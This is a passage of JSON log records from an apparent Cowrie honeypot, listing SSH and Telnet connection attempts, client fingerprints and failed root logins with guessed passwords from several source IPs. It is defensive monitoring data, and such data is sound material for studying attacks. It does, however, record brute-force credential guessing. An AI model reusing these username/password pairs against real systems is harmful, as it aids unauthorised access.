16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:19:13.699487Z","src_ip":"80.94.92.184","session":"61a67604b01b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"abc123","message":"login attempt [solv/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:19:15.366103Z","src_ip":"80.94.92.184","session":"61a67604b01b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:19:16.766739Z","src_ip":"80.94.92.184","session":"61a67604b01b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58064,"dst_ip":"10.17.0.5","dst_port":23,"session":"96d6f362424f","protocol":"telnet","message":"New connection: 50.6.8.71:58064 (10.17.0.5:23) [session: 96d6f362424f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:19:27.413419Z"}
{"eventid":"cowrie.session.closed","duration":37.219937562942505,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:19:31.584910Z","src_ip":"50.6.8.71","session":"bb7102440234","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58076,"dst_ip":"10.17.0.5","dst_port":23,"session":"17dc7c76fe59","protocol":"telnet","message":"New connection: 50.6.8.71:58076 (10.17.0.5:23) [session: 17dc7c76fe59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:19:33.171415Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.28.189","src_port":56130,"dst_ip":"10.17.0.5","dst_port":23,"session":"e76acf5790f6","protocol":"telnet","message":"New connection: 23.94.28.189:56130 (10.17.0.5:23) [session: e76acf5790f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:19:40.813118Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48372,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ac80084157b","protocol":"telnet","message":"New connection: 50.6.8.71:48372 (10.17.0.5:23) [session: 0ac80084157b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:19:46.292408Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":38774,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d19f87e9c68","protocol":"ssh","message":"New connection: 103.27.238.114:38774 (10.17.0.5:22) [session: 7d19f87e9c68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:19:56.479191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:19:56.488315Z","src_ip":"103.27.238.114","session":"7d19f87e9c68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:19:56.759912Z","src_ip":"103.27.238.114","session":"7d19f87e9c68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"starwars","message":"login attempt [root/starwars] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:19:57.571115Z","src_ip":"103.27.238.114","session":"7d19f87e9c68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:19:58.845589Z","src_ip":"103.27.238.114","session":"7d19f87e9c68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.31246733665466,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:20:03.725788Z","src_ip":"50.6.8.71","session":"96d6f362424f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":46078,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd68c969c4b1","protocol":"telnet","message":"New connection: 50.6.8.71:46078 (10.17.0.5:23) [session: fd68c969c4b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:20:03.764284Z"}
{"eventid":"cowrie.session.closed","duration":30.86647367477417,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:20:04.037790Z","src_ip":"50.6.8.71","session":"17dc7c76fe59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":46092,"dst_ip":"10.17.0.5","dst_port":23,"session":"b773d41856bf","protocol":"telnet","message":"New connection: 50.6.8.71:46092 (10.17.0.5:23) [session: b773d41856bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:20:04.660486Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.28.189","src_port":32806,"dst_ip":"10.17.0.5","dst_port":23,"session":"480ac9a59f30","protocol":"telnet","message":"New connection: 23.94.28.189:32806 (10.17.0.5:23) [session: 480ac9a59f30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:20:07.394019Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":37018,"dst_ip":"159.203.135.109","dst_port":22,"session":"fef99eb70826","protocol":"ssh","message":"New connection: 87.106.29.151:37018 (159.203.135.109:22) [session: fef99eb70826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:20:13.912945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:20:13.917972Z","src_ip":"87.106.29.151","session":"fef99eb70826","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:20:14.011505Z","src_ip":"87.106.29.151","session":"fef99eb70826","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"node2024","message":"login attempt [root/node2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:20:14.411394Z","src_ip":"87.106.29.151","session":"fef99eb70826","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:20:15.509675Z","src_ip":"87.106.29.151","session":"fef99eb70826","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.21801424026489,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:20:16.031032Z","src_ip":"23.94.28.189","session":"e76acf5790f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":47580,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0fadb220ee0","protocol":"ssh","message":"New connection: 147.45.211.215:47580 (10.17.0.5:22) [session: f0fadb220ee0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:20:16.220482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:20:16.230423Z","src_ip":"147.45.211.215","session":"f0fadb220ee0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:20:16.404621Z","src_ip":"147.45.211.215","session":"f0fadb220ee0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:20:16.915043Z","src_ip":"147.45.211.215","session":"f0fadb220ee0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:20:18.087502Z","src_ip":"147.45.211.215","session":"f0fadb220ee0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.534409523010254,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:20:18.826424Z","src_ip":"50.6.8.71","session":"0ac80084157b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":56510,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9fa339543d0","protocol":"ssh","message":"New connection: 103.153.68.219:56510 (10.17.0.5:22) [session: c9fa339543d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:20:19.179557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:20:19.184768Z","src_ip":"103.153.68.219","session":"c9fa339543d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:20:19.430103Z","src_ip":"103.153.68.219","session":"c9fa339543d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fantasy","message":"login attempt [root/fantasy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:20:20.167657Z","src_ip":"103.153.68.219","session":"c9fa339543d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:20:21.415874Z","src_ip":"103.153.68.219","session":"c9fa339543d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.241348028182983,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:20:35.901688Z","src_ip":"50.6.8.71","session":"b773d41856bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.23445177078247,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:20:36.998545Z","src_ip":"50.6.8.71","session":"fd68c969c4b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":44326,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cbe23d5a5ef","protocol":"ssh","message":"New connection: 103.75.183.219:44326 (10.17.0.5:22) [session: 6cbe23d5a5ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:20:39.908982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:20:39.916453Z","src_ip":"103.75.183.219","session":"6cbe23d5a5ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:20:40.157659Z","src_ip":"103.75.183.219","session":"6cbe23d5a5ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"online","message":"login attempt [root/online] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:20:40.881361Z","src_ip":"103.75.183.219","session":"6cbe23d5a5ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:20:42.124734Z","src_ip":"103.75.183.219","session":"6cbe23d5a5ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.89982509613037,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:20:49.293616Z","src_ip":"23.94.28.189","session":"480ac9a59f30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":42688,"dst_ip":"10.17.0.5","dst_port":23,"session":"257f32794644","protocol":"telnet","message":"New connection: 50.6.8.71:42688 (10.17.0.5:23) [session: 257f32794644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:20:52.531621Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":60248,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bf9743343d9","protocol":"ssh","message":"New connection: 103.75.182.198:60248 (10.17.0.5:22) [session: 9bf9743343d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:20:53.882453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:20:53.893572Z","src_ip":"103.75.182.198","session":"9bf9743343d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:20:54.122762Z","src_ip":"103.75.182.198","session":"9bf9743343d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147258369q","message":"login attempt [root/147258369q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:20:55.073466Z","src_ip":"103.75.182.198","session":"9bf9743343d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:20:56.316571Z","src_ip":"103.75.182.198","session":"9bf9743343d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56724,"dst_ip":"10.17.0.5","dst_port":23,"session":"20c20a34af6c","protocol":"telnet","message":"New connection: 50.6.8.71:56724 (10.17.0.5:23) [session: 20c20a34af6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:20:59.618606Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56732,"dst_ip":"10.17.0.5","dst_port":23,"session":"5de0bf088290","protocol":"telnet","message":"New connection: 50.6.8.71:56732 (10.17.0.5:23) [session: 5de0bf088290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:21:03.079397Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":42596,"dst_ip":"10.17.0.5","dst_port":23,"session":"a497801eb1de","protocol":"telnet","message":"New connection: 50.6.8.71:42596 (10.17.0.5:23) [session: a497801eb1de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:21:07.244220Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":42608,"dst_ip":"10.17.0.5","dst_port":23,"session":"6341c00c542f","protocol":"telnet","message":"New connection: 50.6.8.71:42608 (10.17.0.5:23) [session: 6341c00c542f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:21:11.016512Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48994,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b3307bf1f2d","protocol":"telnet","message":"New connection: 50.6.8.71:48994 (10.17.0.5:23) [session: 9b3307bf1f2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:21:18.447690Z"}
